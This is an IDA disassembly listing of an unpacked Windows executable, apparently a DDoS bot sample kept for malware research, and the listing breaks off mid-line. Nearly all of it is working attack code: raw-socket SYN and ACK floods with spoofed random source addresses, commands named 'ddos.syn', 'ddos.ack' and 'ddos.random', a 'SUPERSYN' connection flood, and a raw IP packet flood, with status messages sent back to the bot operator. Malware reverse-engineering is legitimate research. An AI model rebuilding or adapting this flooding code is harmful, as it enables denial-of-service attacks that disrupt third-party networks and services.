; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 85DDC85CFCE175A70F151601BBBF394F ; File Name : u:\work\85ddc85cfce175a70f151601bbbf394f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00072000 ( 466944.) ; Section size in file : 00072000 ( 466944.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE51+3A26o Dest = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch Str = byte ptr -10Ch Str1 = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_423054 ; GetTickCount push eax call sub_4172EE lea eax, [ebp+var_18C] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+var_20C] push eax ; Str lea eax, [ebp+var_28C] push eax ; int call sub_4013E9 push eax lea eax, [ebp+Dest] push offset unk_425050 ; Format push eax ; Dest call _sprintf xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_294] ; int call sub_40D670 add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_290] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4010B2(int,int,char *Str1,int,int) sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h Dst = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_43C590 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43C6BC ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013DD push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call ds:dword_43C5F8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push [ebp+arg_C] mov [ebp+var_58], 2 call ds:dword_43C618 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call ds:dword_43C618 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call ds:dword_43C618 ; htons mov [ebp+var_12], ax call _rand movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_43C618 ; htons push 12345678h mov [ebp+var_14], ax call ds:dword_43C614 ; htonl push offset Str2 ; "ddos.syn" mov [ebp+var_10], eax push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401216 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call ds:dword_43C618 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+Str1], ebx call ds:dword_42305C ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_423058 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call __allmul add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2F0j mov [ebp+var_4], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_43C618 ; htons mov [ebp+var_14], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call ds:dword_43C618 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_43C614 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_43C618 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AF34 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF34 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call ds:dword_43C67C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+Str1], eax lea eax, [ebp+var_1C] push eax call ds:dword_423058 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D0 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D0 jmp loc_401264 ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: sub_4010B2+2CBj call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_425088 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: sub_4010B2+2E0j ; sub_4010B2+2EEj mov ebx, [ebp+Str1] loc_4013D3: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+31Cj push [ebp+var_20] call ds:dword_43C6B0 ; closesocket pop esi loc_4013DD: ; CODE XREF: sub_4010B2+5Bj call ds:dword_43C578 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4013E9(int,char *Str,char *Str1,int) sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 Str = dword ptr 8 Str1 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADC5 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_C] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi ; int idiv ecx push ebx ; int push [esp+20h+Str1] ; Str1 lea eax, [edx+esi+100h] push eax ; int push esi ; int call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401447 proc near ; DATA XREF: sub_40EE51+3C0Eo Dest = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h Str = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_43C698 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E2 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_425214 ; Format loc_401495: ; DATA XREF: UPX0:off_4272ACo push eax ; Dest call _sprintf xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C5 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_40D670 add esp, 14h loc_4014C5: ; CODE XREF: sub_401447+5Cj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_38] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 loc_4014E2: ; CODE XREF: sub_401447+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call ds:dword_43C5F8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401559 call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset unk_4251CC ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153C push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_40D670 add esp, 14h loc_40153C: ; CODE XREF: sub_401447+D3j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_38] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 loc_401559: ; CODE XREF: sub_401447+B3j lea eax, [ebp+var_1B8] push eax call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015C0 lea eax, [ebp+Dest] push offset unk_42519C ; Format push eax ; Dest call _sprintf cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A3 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_40D670 add esp, 14h loc_4015A3: ; CODE XREF: sub_401447+13Aj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_38] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 loc_4015C0: ; CODE XREF: sub_401447+122j push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call ds:dword_43C618 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call ds:dword_43C658 ; inet_addr mov esi, ds:dword_423054 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_4015FE: ; CODE XREF: sub_401447+2E8j call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017A9 push 41Ch mov ds:byte_439398, 45h call ds:dword_43C618 ; htons cmp [ebp+var_2C], edi mov ds:word_43939A, ax mov ds:word_43939C, bx mov ds:word_43939E, di mov ds:byte_4393A0, 80h mov ds:byte_4393A1, bl mov ds:word_4393A2, di jz short loc_401684 call _rand mov ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax shl ebx, 8 call _rand add ebx, eax push 1 mov ds:dword_4393A4, ebx pop ebx jmp short loc_40169C ; --------------------------------------------------------------------------- loc_401684: ; CODE XREF: sub_401447+20Bj push [ebp+var_1BC] call sub_40AEDB pop ecx push eax call ds:dword_43C658 ; inet_addr mov ds:dword_4393A4, eax loc_40169C: ; CODE XREF: sub_401447+23Bj mov eax, [ebp+var_18] mov ds:dword_4393A8, eax call _rand cdq mov ecx, 100h idiv ecx mov ds:byte_4393AC, dl call _rand cdq mov ecx, 100h idiv ecx mov ds:byte_4393AD, dl call _rand cdq mov ecx, 0F0h push 400h ; Size idiv ecx mov ds:word_4393AE, di mov ds:word_4393B2, bx inc edx mov ds:word_4393B0, dx call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_4393B4 ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 10h push eax push edi push 41Ch push offset byte_439398 push [ebp+var_4] call ds:dword_43C67C ; sendto cmp eax, 0FFFFFFFFh jz short loc_401734 inc [ebp+arg_0] jmp loc_4015FE ; --------------------------------------------------------------------------- loc_401734: ; CODE XREF: sub_401447+2E3j push [ebp+var_4] call ds:dword_43C6B0 ; closesocket call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42513C ; Format lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178C push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_40D670 add esp, 14h loc_40178C: ; CODE XREF: sub_401447+323j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_38] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 loc_4017A9: ; CODE XREF: sub_401447+1C8j push [ebp+var_4] call ds:dword_43C6B0 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+Dest] push offset unk_4250DC ; Format push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401811 push edi ; int lea eax, [ebp+Dest] push [ebp+var_28] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1BC] ; int call sub_40D670 add esp, 14h loc_401811: ; CODE XREF: sub_401447+3A8j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_38] call sub_417064 pop ecx pop ecx push edi call ds:dword_423050 sub_401447 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: sub_40EE51+158Eo Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_40198C push eax lea eax, [ebp+Dest] push offset Format ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax ; Dest call _sprintf xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_40D670 add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_10] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_40182E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CA proc near ; CODE XREF: sub_40198C+27p var_654 = byte ptr -654h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call ds:dword_43C618 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_401988 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_401915: ; CODE XREF: sub_4018CA+B9j lea esi, [ebp+var_654] mov ebx, edi loc_40191D: ; CODE XREF: sub_4018CA+7Aj push 0 push 1 push 2 call ds:dword_423214 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401940 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_423218 ; ioctlsocket loc_401940: ; CODE XREF: sub_4018CA+64j add esi, 4 dec ebx jnz short loc_40191D lea esi, [ebp+var_654] mov ebx, edi loc_40194E: ; CODE XREF: sub_4018CA+96j lea eax, [ebp+Dst] push 10h push eax push dword ptr [esi] call ds:dword_42321C ; connect add esi, 4 dec ebx jnz short loc_40194E push 64h call ds:dword_423060 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_401972: ; CODE XREF: sub_4018CA+B4j push dword ptr [esi] call ds:dword_423220 ; closesocket add esi, 4 dec ebx jnz short loc_401972 dec [ebp+arg_4] jnz short loc_401915 pop edi pop esi pop ebx loc_401988: ; CODE XREF: sub_4018CA+3Ej xor eax, eax leave retn sub_4018CA endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40198C(int,char *Str,int) sub_40198C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADC5 push [esp+10h+Str] ; Str mov edi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov esi, eax push esi push ebx push edi call sub_4018CA add esp, 18h test eax, eax jnz short loc_4019C2 push 1 pop eax loc_4019C2: ; CODE XREF: sub_40198C+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_40198C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D1 proc near ; DATA XREF: sub_40EE51+3917o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_401D1F push eax lea eax, [ebp+Dest] push offset dword_425280 ; Format push eax ; Dest call _sprintf xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_401A4E push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_40D670 add esp, 14h loc_401A4E: ; CODE XREF: sub_4019D1+5Bj lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_10] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_4019D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A6D proc near ; CODE XREF: sub_401D1F+3Cp var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h Dst = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_43C590 ; WSAStartup test eax, eax jz short loc_401AAD xor eax, eax jmp loc_401D1B ; --------------------------------------------------------------------------- loc_401AAD: ; CODE XREF: sub_401A6D+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_43C6BC ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D13 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_43C5F8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401D09 push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_8] call ds:dword_43C618 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_43C618 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_43C618 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_43C618 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_42305C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_423058 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call __allmul add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401B98: ; CODE XREF: sub_401A6D+25Dj ; sub_401A6D+26Bj mov [ebp+var_24], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_43C618 ; htons mov [ebp+var_34], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call ds:dword_43C618 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_43C614 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_43C618 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AF34 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_8C] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF34 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call ds:dword_43C67C ; sendto cmp eax, 0FFFFFFFFh jz short loc_401CDD add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_423058 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D06 jl loc_401B98 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D06 jmp loc_401B98 ; --------------------------------------------------------------------------- loc_401CDD: ; CODE XREF: sub_401A6D+247j call ds:dword_43C5AC ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset dword_4252B8 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_40BF6F add esp, 10h jmp short loc_401D09 ; --------------------------------------------------------------------------- loc_401D06: ; CODE XREF: sub_401A6D+25Bj ; sub_401A6D+269j mov ebx, [ebp+arg_8] loc_401D09: ; CODE XREF: sub_401A6D+78j ; sub_401A6D+297j push [ebp+var_C] call ds:dword_43C6B0 ; closesocket pop esi loc_401D13: ; CODE XREF: sub_401A6D+5Bj call ds:dword_43C578 ; WSACleanup mov eax, ebx loc_401D1B: ; CODE XREF: sub_401A6D+3Bj pop edi pop ebx leave retn sub_401A6D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_401D1F(int,char *Str,int) sub_401D1F proc near ; CODE XREF: sub_4019D1+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADC5 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A6D add esp, 1Ch test eax, eax jnz short loc_401D6A push 1 pop eax loc_401D6A: ; CODE XREF: sub_401D1F+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D1F endp ; =============== S U B R O U T I 